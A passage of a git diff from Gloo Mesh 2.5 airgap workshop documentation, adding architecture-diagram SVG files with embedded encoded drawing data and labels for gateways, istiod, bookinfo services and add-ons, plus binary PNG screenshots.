Fx1MDAwMGNYYVOdW2O/fFBsMcSAUaniplx1MDAxMlx1MDAwMkNcdTAwMWV8YvpXI0z/5dItsiwxKdnaVILCmEiTi45cdTAwMWTplPNcdTAwMDYtXHUwMDE4XHUwMDExmCA1ZVxcNFx1MDAxMt7ItUhcdTAwMDJumrd740LttlO4f32RpdrrYIyv/CeFlKl4pDRcdTAwMTdYm3hb77msNIUtmVx1MDAwMoqjhlx1MDAwMenXjqZcdTAwMGKmbXMlvGS9NeGmULD73WRVXHRzJlx1MDAxZlm4hVx1MDAxZmjEU7iB2raUMDmCXHUwMDE0JFx1MDAxY3Ugot+yzbSn0CC5JJKSqOB44Y2gXHUwMDFisyiTWDLMZ/Xv/GKFgVUpRUa+MpN3z71cdTAwMWTymDB9u4ja3UFtLKRbuFx1MDAxZtyNlDBcdTAwMDKFZSpsXHUwMDEwqijYsD6tv7llwomkkHhWXHUwMDE0cs1g4edUt3pRerpcdTAwMWTlipnKVU9cck/LV9Mg+Fx1MDAwNpKNXHUwMDEzU4JIilnIsGdSYNVzXHUwMDAweMxkMChcdTAwMDDjW2lHvr+wk0Dynt31Uvb2sJsjXHUwMDFmfEG8XHQhjD+cR4du4ceq8ZRuWprO9mC+KIONqVo8XFykXHUwMDAy7Fx1MDAxYlxyQo5cdTAwMDBJXCK+I+m2XHLDXHUwMDE0MIiAO+rfbplGlm4g3DTSnDJl2sk5W7s5rUApNGhwZILxhf5cYsRfXHUwMDE1ukVcdTAwMGZhxqaZXHUwMDE5QqbsmmldzLyyTVtAXHUwMDAzIG2ZoKbAzFZcIur+xYZp+JlscFx1MDAxNyPMuSn6jlfo9lx1MDAxMt7XMa4ucsa169jVXHLgQN1Y3HlaullcdTAwMTPjIFx1MDAxMUeQckVpML8yx0RY2nk5pvInS12YNHfB4lx1MDAxOWp3mKFVfpPKtlHtpJS4OrffipfO9uVcdTAwMWWV/HEn/FBqT72T12c7olx1MDAwMl1CRFx1MDAxYf8p4tFcdTAwMGamXkm3YF+q9tv5bZVNSuwhUTg5Wlx1MDAwN1YsUvYueU65olmROz2eUlx1MDAxY5XnXCIkWf5X2WblatnLc2tGQoBccme8ovFkscRL+3GCn3r0TFxy71uv6lx1MDAxNVx1MDAxN9NP/qzwXHUwMDEzXHSx+rhbX95lQVx1MDAwMP5cdTAwMGb8XHUwMDA0+Vx1MDAxNXSoToLj8E3JeErwXG5JRuHLXHUwMDE5W8CgZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-bookinfo/bookinfo-working.png b/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-bookinfo/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-bookinfo/bookinfo-working.png differ diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-bookinfo/initial-setup.png b/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-bookinfo/initial-setup.png new file mode 100644 index 0000000000..6808fffb22 Binary files /dev/null and b/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-bookinfo/initial-setup.png differ diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg b/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg new file mode 100644 index 0000000000..b385df0718 --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3fiyrbu+/pcdTAwMTVcdTAwMWXrvG50Kof9Zlx1MDAxYlx1MDAxYjDGXHRcdTAwMWPvOsODnINcdCbssf/7nUV3XHUwMDFiXHUwMDAxklx1MDAxMCBcdTAwMTm521pr4DbgUqlqhm/OmuE/f1x1MDAxZFx1MDAxZP09nPbKf//76O/ypJhv1Uv9/Pjvf5n338v9Qb3bgY/I/PdBd9Qvzr9ZXHUwMDFiXHUwMDBle4N//+//5ns9a/FXVrHb/vGX5Va5Xe5cZlx1MDAwN/Dd/1x1MDAwN79cdTAwMWZcdTAwMWT9Z/5qu1e/XFxcdTAwMWPmO9VWef5cdTAwMDfzj1x1MDAxNrfjnK++e9XtzG+NhZaaXCLE0Mc36oM43G9YLsHHlXxrUF58Yt76+7w9QrHe5eCsl34/K43bVzzWeVxc3LZSb7Wyw2nrx4Pli7VR3zapwbDfbZZcdTAwMWbrpWHN3H3l/Y+/XHUwMDFidGFcdFx1MDAxNn/V746qtU55MFj6m24vX6xcdTAwMGan5j20mP6PVfj30eKdXHT8RpWylFx1MDAxNopwal5cdTAwMDVjXHUwMDFmXHUwMDFmm1x1MDAwMVxiVtxinCrNpUZYKLEys9Nuq9s3M/tcdTAwMWakZIVcdTAwMTdcdTAwMTZzK+SLzSpMsFNafFx1MDAwN5OCUmLxnfHP5yVIWcR2scVtauV6tTY03yHC0vZrMdNBeb4pmGtMMaFYfnxiJtBLlVx1MDAxNlx1MDAwNPLjydrj8lNXvqTvdOP5ZNa4XHUwMDE2T/nE3z8//7/Vta/l+72fa/z3wPxie0bzeGerRGgnRFx1MDAxYn3ESrXL4clJ/4lcdTAwMGXq8Vx1MDAxY84lqy/V9sdYS1Sb7/e7478/Pvnvv7zGPc6Wp685hTp3pNcrXHUwMDE3XHUwMDE0fjx7XHUwMDFj+1x1MDAxYnftkUe9Uv5cdTAwMDeFY8G4QFJjjpD++LxV7zThw86o1frLNrMt2U66slx1MDAxZEFCcso08c92z/dx/ZRcdTAwMWZcdTAwMGZ05qxxfH7x3jg/e+pHne00lpZUXFxiRswrx6tcXCctIVx1MDAwNcZcblx1MDAwMT3r1XlFiulcdTAwMTQnXHUwMDAyMcb478Z0h2FcdTAwMGVcdTAwMTDDrjpJS8SZVlj4Zo7K+UNvNuVP15Na/EE2R2/1tMBRZ1x1MDAwZUyEUTqEKqTNq+15f3BcdTAwMDdRXHUwMDE29sVcdTAwMWTzy5M7hv18Z9DL94GW1jlEablM/etcZqJcdTAwMTSxhO3ia/xcdTAwMDEgXHUwMDAzaVx1MDAwNuozNP6YP9GO/DE5TsVbydH5XaeNplx1MDAxM10jJN4+XHRAKWX02Tj/1rzqXHJp8eG8NqtcdTAwMTT5STLKfEcodec7QINMXHUwMDEySXzzXHUwMDFkqzwkX1x1MDAxZtHTRbMyzHdcdTAwMGJcIsNexUPU+Y5cdTAwMTK8xHarUPDT2E7RzWyHV1x1MDAxOU1IzZFE4nB89tkwirjCKED1XFxtY7vgVqr7Um/djuOF19FFXHUwMDAy3V9cXFc6UadXwahFXHUwMDE2IIrJXHUwMDE1elx1MDAwNTL6KiBKXHUwMDAz9UpcZlx1MDAxNPxccqJcdTAwMDJcdTAwMTHmNlpYYVxyLSjsXHUwMDEypv4x1INM3k5z3f5LoS5a99fTXFxcdTAwMTnfXHUwMDE2o85cdTAwMWKYXHUwMDEy6oWhXHUwMDE4QFx1MDAxYn/CfFx1MDAwZuaQXGJtXHUwMDEy5JisXHRyTFx1MDAxOMeCUP7NXGbBWFx1MDAxNMTVolx1MDAxMIY+XHUwMDA0Qso3M3D5fnrdSZ2nrkqZp4vLbvfmvsm+XHUwMDAwMzAvZlx1MDAxMFx1MDAxNFx1MDAwMzNQqVx1MDAxNehcdTAwMGLGbUgwYG5w0FxyoD+Q/aJr7MC4Ns5IXHUwMDFi4olcdTAwMTI7ZHmrzq9Qo9K8f3/Fk+brsKkzUWZcdTAwMDfCtVx1MDAxYjtgJTFXXHUwMDE07uybXHUwMDFmaKv8wmdXx6excrdwPcs+ijx+duGHXHUwMDE1ul7mXHUwMDA29mncoFx1MDAxOfKC+YRwf7BJXHRS1kVvXiiUWaFUWOdcdTAwMDXYXzey/2Bccts+/WRcdTAwMDVcdTAwMDJITzJcckgpkqzATmW9Pk1P6rNB6rmYenvIvNw9ObPCsDxcdTAwMTn6NaXlsF5cdTAwMTiUZ4pcXDzVW0/tSqz8RJk/XHUwMDBl81x1MDAxY/fs9fZcdTAwMTRn2MW4W8jgm6ehTicn2Vx1MDAwMMYtvlx1MDAxN1x1MDAxMjLeOWnk6jSrktNcXOP0rFx1MDAxMMC4gS/v0rf/5feGnyC/liZkXHUwMDE3XUKtvvtLdEmCXHUwMDE4lYj51+Tey1x1MDAxOVFNrlx1MDAxOfeUXXNF7kN2VebX7i5cbsxcdTAwMTd3/lx1MDAxMFi2xf+AssqILFx1MDAxNaJTYpPA2ok6XHUwMDE3VNDtXGaz9dmPo5mld8/z7XprurSRc7KFKdU71T7M7uifTlx1MDAxNW44zk/t6zwow33MeGz5XHUwMDBmj1v1amcuPmDm5f5cdTAwMTL5XHUwMDBm68V86+NcdTAwMGLteqlkV+1FmE1cdTAwMWXG7Kf8aORuv16td/Kt3Mpkf011XHUwMDBmnI1cXD2IXHUwMDA0YYYo1rbT1U3s2Ym9VZq3r2zYXHUwMDFmXGZcbunn0UXx6aFcdTAwMWJxYEGVXHUwMDE3c1x1MDAxYfdiRIFcdTAwMDVWlGKOcURNzpvb02b5tjjEN+piJG5ztH99V/9cdTAwMDZcdTAwMTZBXHUwMDAxi5CWN6Rh8UOnKIpcdTAwMGavhUb58Vx1MDAxNFx1MDAxZCduT9D4aq9V2ISDnFx1MDAxZuSAOIhSV1x1MDAxM04gKlx1MDAxOVwiW1x1MDAxY5F6b1NkcVx1MDAxMPVcdTAwMTa1Pr17n4SDtORcdTAwMDJsa3E48XpcdTAwMDBcdTAwMThUzlx1MDAwZobj8mB4IFx1MDAxY7RcdTAwMDFArOKgj9nuXHUwMDBmhJh2XHUwMDBmq5NcdTAwMWEpQYE2ffPn+9tlazaJo0lcdTAwMGY1Y1wi+XLzcjyTu1x1MDAwMKHP406GMYBcdTAwMTCpqeDzV8WX2dPEXHUwMDE1gKlcIiTlQmpmXHUwMDBmXHUwMDFh2P4oNWAopCkmXFyC0Vx1MDAxMkkk9FhcdTAwMWFeXGLSnd70aa/+8DaoX15cctU3XHUwMDEyXG5cblx0hbS8X2tYfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdYuhXHUwMDAyLOdcdTAwMDc5IMDizCNcdTAwMTiGaVx1MDAwMVx1MDAwMFx1MDAwYvk3Zb33KaJcYoth4SnDNWaW9CXDQ8FYxCn6WXOq5Fx1MDAwMc+JXHUwMDBl4WtcdTAwMWFcZuvdkiOwsoWBXHUwMDA3XG6sNlx1MDAwMJI1XHUwMDA3049cdTAwMTnuXHUwMDBlpzjCbswoJOFcXCn/x1VvV7Fav/VA05fJXG7jnbvXYWVcdTAwMTiLNpjS3JxHMTDs8Px1xdTRXGJZ1PhYXHUwMDE5sCHiypVccv1AKUJUoexwdLtcdTAwMWKUkkgzmDM/nPPXS83VrnLi+PjhWlx1MDAxNFxump89ptl5vdb8hlJBQamQljekYVx1MDAxZvStVlTlXHUwMDFhzZfLflWN46O3cSOIMOA6irVl7fm+cX+VfVx1MDAxN62YKNdaXHUwMDAxjJtDRVnNo35cdTAwMWE/XGbv84k4SuC3Tlx1MDAwMOPOzmfNaY7G6tPS8SnNPqJp9+YygHEvejSNxqiXbJ/eXlxmxmM8fMzul/uzXHRTOlx1MDAxM8ohMSX1SLab345y/1x1MDAwMdbefFx1MDAxMFFMXHTA2VuVcUv5UWWf5LXjJqHOeFx1MDAxN/8kQJlodbtHmfKgdvRPJ19dWr5PcNptwGer2HIx2Vx1MDAxZlPdiTFcdHZccpalTFx1MDAxMqX0XHUwMDE2tl7p8bWp758v4iedi+dMNf/+ftq+jzbAJCZcdTAwMDbPIzqQXHUwMDEzXHUwMDFkXFxcdTAwMWO5XHUwMDFiwiQ29vtgSVvCyUcwoFJCwFx1MDAwYlxyjSdDyXJw5EnllydcdTAwMGLdbrPeqXRjlT58sdwpXHL+6XTy7TJcYrhi2ZE/xa78Oez23Jhz6TlWOdF7irvxJfeI9uGUKKH9e9FcdTAwMDfvJ9XRuEbPXG7ppFx1MDAxOOZcdTAwMDGLXHUwMDE1T4dR50ssLe3Ol1x1MDAxMpHgQthd+ZI6XHUwMDA0ra/zJWHMxFx1MDAwZoeYeb5Pkt+BYnRcdTAwMDNierNd0eZ5p1x1MDAxOXqy/I9VduB5qt2Dk2GhucTbZCF6pypElempxaUmXGYoSyMqVpWxJJY0XHUwMDE310hTtV+kvqu7R1xui2vNNFx1MDAxN1x1MDAxY1x1MDAxOFvJdVx1MDAxMYAsmCHIJS2RYFx1MDAxMittS/z6KVx1MDAxM1x1MDAxOFx1MDAxNYxRXHUwMDE1ovsnXFxVPVx1MDAxOOb7w5N6p1TvVFc/XHUwMDAzal98spA4v1xusqR8JE7NJUBxNPixmJRcdTAwMGJcboJcdTAwMWN2XHI2RWBq+1Y13zPzJlx1MDAxNidcdTAwMTKWXHUwMDE0a9BcdTAwMGKCXGL+81x1MDAxYv9dPER+MDztttv1ITzqTbfeXHUwMDE5Oj7SsWG+Wjm/xt/wUPbPVrm0Z0ZcXN67xb+OXHUwMDE2dDz/5ePf//cvx2/HXFxpbP6pXHUwMDAzeS1G/Mv+c2tcdTAwMTHDJFt9d5H/oDXnmPhcdTAwMGZcIvbWLFGVMCBCuElnllJcdTAwMGK79fNcdTAwMDNWUFx1MDAwZZTGQLiYY1x1MDAxZrkyr3BcdTAwMDRcZnHwJyNLXHUwMDEzXG5izkR2XHUwMDBiYSo/rFxuXHUwMDE4KYSmSKPfRMC4iVx1MDAxMW/ouiRGYDFMKi2QMCVUaEVs3/ohRrhFXHUwMDEwXHUwMDAyk1x1MDAwZUtcdTAwMDJrqyVbk1wivkSbd1x1MDAxYdzynIg22kzARlL4N1x1MDAxM2xtUlx1MDAxOFvyY1ZcdTAwMDJcdTAwMDPd/V6yjdClv18j7C1F24bUX3dcdTAwMDQlsSCAKbZcYj7qkXJcdTAwMWZPcq99epZKX1x1MDAwYplcdTAwMWK8VnW0o7CxQJ7JjtzkQpKAwrBXPZH7XHUwMDFkmFx1MDAwMcdcdTAwMDLFYFx1MDAxYc1cdTAwMDOz91ns8nh6cYJbp6ei8Zg+viuis+hcdTAwMWWYPZxeM5VcdTAwMTk+t3msN72NMfJeq/gsXHUwMDBi5jlu9ub8lpL35PNFPJHJXo/qd/XOXVx1MDAwMONcdTAwMDa+vJtOSJxvuFx1MDAxOHaNnkJP71wi7sjMlLgwsSb+jT/v9YzoXHRcdFxiL+0pvFx1MDAxOFx1MDAwNu1cdTAwMTGM8Np0RLJRgK3H4FxiUHmKSlx1MD